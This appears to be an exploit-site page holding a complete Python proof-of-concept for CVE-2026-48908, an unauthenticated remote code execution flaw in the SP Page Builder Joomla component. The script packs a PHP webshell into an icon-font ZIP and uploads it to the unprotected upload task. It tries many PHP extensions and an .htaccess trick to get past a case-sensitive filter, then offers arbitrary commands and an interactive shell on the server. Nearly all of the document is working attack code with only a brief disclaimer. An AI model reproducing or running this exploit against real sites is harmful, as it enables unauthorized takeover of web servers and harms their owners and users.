5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / sppb_rce.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
sppb_rce.py — CVE-2026-48908  SP Page Builder (Joomla) unauthenticated RCE

Copyright (c) 2026 Christos Papageorgiou — MIT License (see LICENSE)

Component : com_sppagebuilder  (SP Page Builder by JoomShaper) <= 6.6.1  (fixed 6.6.2)
Vector    : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
            - unauthenticated, no CSRF token
            - takes an "icon-font" ZIP (field: custom_icon) and extracts it to the webroot:
              /media/com_sppagebuilder/assets/iconfont/<name>/  (incl. fonts/, served publicly)

Adaptive upload — tries methods in order, stops at the first that EXECUTES:
  1. plain  fonts/<shell>.php            -> SPPB builds with NO file-type filter
  2. fonts/.htaccess + fonts/<shell>.PHP -> builds with a case-sensitive blocklist
        (uppercase .PHP slips the blocklist; the dropped .htaccess registers .PHP as PHP —
         requires the server to allow AllowOverride + PHP execution in /media)
A file that uploads but does not execute (AllowOverride None / PHP disabled in upload dir)
is reported as file-write-without-RCE, and the next method is tried.

USAGE
    python3 sppb_rce.py https://target.example            # check + prove RCE (runs `id`)
    python3 sppb_rce.py --url target.example -c "uname -a"
    python3 sppb_rce.py https://target.example --shell    # interactive pseudo-shell
    python3 sppb_rce.py https://target.example --cleanup  # delete the uploaded payload dir

AUTHORIZED USE ONLY. For sanctioned penetration tests / CTF / lab targets.
You are solely responsible for how you use this tool — see the DISCLAIMER in README.md.
"""
import argparse
import io
import json
import random
import string
import sys
import zipfile

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    sys.exit("[-] missing dependency: pip install -r requirements.txt  (needs 'requests')")

UA = "Mozilla/5.0 (X11; Linux x86_64) sppb-rce-poc"
TASK = "index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon"
ICONBASE = "media/com_sppagebuilder/assets/iconfont"
HTACCESS = b"AddType application/x-httpd-php .PHP\n"


def rnd(n=8):
    return "".join(random.choice(string.ascii_lowercase) for _ in range(n))


def normalize(url):
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    return url.rstrip("/")


def build_zip(name, shell_rel, token, extra_files):
    """Valid icon-font package + a token-guarded shell at shell_rel (+ optional extra files)."""
    shell = ('<?php if(($_GET["t"]??"")==="%s"){@system($_GET["c"]??"id");} '
             'else {http_response_code(404);} ?>' % token).encode()
    selection = json.dumps({
        "IcoMoonType": "selection", "icons": [],
        "metadata": {"name": name},
        "preferences": {"fontPref": {"prefix": "ico-", "metadata": {"fontFamily": name}}},
    }).encode()

    buf = io.BytesIO()
    z = zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED)
    z.writestr("selection.json", selection)
    z.writestr("style.css", b".ico-x:before{content:'x';}")
    z.writestr("fonts/%s.ttf" % name, b"FONT")
    for path, data in extra_files.items():
        z.writestr(path, data)
    z.writestr(shell_rel, shell)
    z.close()
    return buf.getvalue()


def upload(sess, base, zip_bytes, name):
    """POST the ZIP unauthenticated. Returns iconfont dir, 'PATCHED', or None."""
    files = {"custom_icon": ("%s.zip" % name, zip_bytes, "application/zip")}
    try:
        r = sess.post("%s/%s" % (base, TASK), files=files, verify=False, timeout=30)
    except requests.RequestException as e:
        print("(request error: %s)" % e, end=" ")
        return None
    if "You require admin access" in r.text:
        return "PATCHED"
    try:
        data = r.json()
    except ValueError:
        return None
    if not data.get("status"):
        return None  # filter rejected this file
    css = data.get("data", {}).get("css_path", "")
    return css.rsplit("/", 1)[0] if css else "%s/%s" % (ICONBASE, name)


def run(sess, base, shell_path, token, cmd):
    r = sess.get("%s/%s" % (base, shell_path), params={"t": token, "c": cmd}, verify=False, timeout=30)
    return r.status_code, r.text


# php-executable extensions to try directly (no .htaccess), least footprint first;
# then the .htaccess fallback that forces a (case-bypassed) .PHP to run.
DIRECT_EXTS = ["php", "php3", "php4", "php5", "php7", "pht", "phtml", "phar", "PHP", "pHp", "Php"]


def try_methods(sess, base, token):
    """Try each method until one EXECUTES. Returns (result, shell_path, label, created) where
       result is 'PATCHED' | iconfont_dir (success) | None (fail; shell_path=last write-only dir)."""
    methods = [(".%s" % e, e, {}) for e in DIRECT_EXTS]
    methods.append((".htaccess+.PHP", "PHP", {"fonts/.htaccess": HTACCESS}))
    created, leftover = [], None
    for label, ext, extra in methods:
        name, shell = "ico" + rnd(6), "f" + rnd(6)
        shell_rel = "fonts/%s.%s" % (shell, ext)
        print("[*] try %-15s " % label, end="")
        iconfont_dir = upload(sess, base, build_zip(name, shell_rel, token, extra), name)
        if iconfont_dir == "PATCHED":
            print("-> 403 'require admin' = patched")
            return ("PATCHED", None, None, created)
        if not iconfont_dir:
            print("-> rejected by filter")
            continue
        created.append(iconfont_dir)
        shell_path = "%s/fonts/%s.%s" % (iconfont_dir, shell, ext)
        code, out = run(sess, base, shell_path, token, "echo SPPB-RCE-$((7*6))")
        if code == 200 and "SPPB-RCE-42" in out:
            print("-> EXECUTED")
            return (iconfont_dir, shell_path, label, created)
        print("-> uploaded, not executed")
        leftover = iconfont_dir
    return (None, leftover, None, created)


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-48908 SP Page Builder unauthenticated RCE (authorized testing only)")
    ap.add_argument("url", nargs="?", help="target, e.g. https://target.example")
    ap.add_argument("--url", dest="url_opt", help="target (alternative to positional)")
    ap.add_argument("-c", "--cmd", default="id", help="command to execute (default: id)")
    ap.add_argument("--shell", action="store_true", help="interactive pseudo-shell")
    ap.add_argument("--check", action="store_true", help="only confirm the vuln, run no command")
    ap.add_argument("--cleanup", action="store_true",
                    help="after exploiting, delete the uploaded payload directory")
    ap.add_argument("--token", default=rnd(16), help="secret guarding the dropped shell")
    args = ap.parse_args()

    target = args.url or args.url_opt
    if not target:
        ap.error("provide a target URL (positional or --url)")
    base = normalize(target)

    sess = requests.Session()
    sess.headers["User-Agent"] = UA
    print("[*] target   : %s" % base)
    print("[*] endpoint : %s" % TASK)

    iconfont_dir, shell_path, method, created = try_methods(sess, base, args.token)

    if iconfont_dir == "PATCHED":
        print("[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+); "
              "the upload task now requires authenticated admin access.")
        sys.exit(1)
    if iconfont_dir is None:
        if shell_path:   # file-write worked, no exec
            print("[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute "
                  "(AllowOverride None / PHP disabled in /media). Not RCE on this config.")
            for d in created:
                print("    artifact left: /%s/" % d)
            sys.exit(3)
        print("[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is "
              "absent/patched on this host.")
        sys.exit(2)

    shell_url = "%s/%s" % (base, shell_path)
    print("[+] CODE EXECUTION CONFIRMED via '%s' (echo 7*6 -> 42)" % method)
    print("[+] webshell : %s?t=%s&c=<cmd>" % (shell_url, args.token))

    if args.check:
        pass
    elif args.shell:
        print("[*] interactive shell — type commands, 'exit' to quit")
        while True:
            try:
                cmd = input("www-data$ ")
            except (EOFError, KeyboardInterrupt):
                print(); break
            if cmd.strip() in ("exit", "quit"):
                break
            if not cmd.strip():
                continue
            _, out = run(sess, base, shell_path, args.token, cmd)
            sys.stdout.write(out if out.endswith("\n") else out + "\n")
    else:
        print("[*] running: %s" % args.cmd)
        _, out = run(sess, base, shell_path, args.token, args.cmd)
        print("-" * 60)
        sys.stdout.write(out if out.endswith("\n") else out + "\n")
        print("-" * 60)

    if args.cleanup:
        # remove every iconfont dir we created (success + any write-only leftovers from earlier tries)
        names = " ".join(d.rsplit("/", 1)[-1] for d in created)
        rmcmd = ('B="$(dirname "$(dirname "$(pwd)")")"; for d in %s; do rm -rf "$B/$d"; done; '
                 'echo CLEANED' % names)
        _, out = run(sess, base, shell_path, args.token, rmcmd)
        print("[*] cleanup: %s (%d dir%s)" % ("done" if "CLEANED" in out else "manual rm needed",
                                              len(created), "" if len(created) == 1 else "s"))
    else:
        print("[!] %d artifact dir(s) left (re-run with --cleanup): %s"
              % (len(created), ", ".join("/" + d for d in created)))


if __name__ == "__main__":
    main()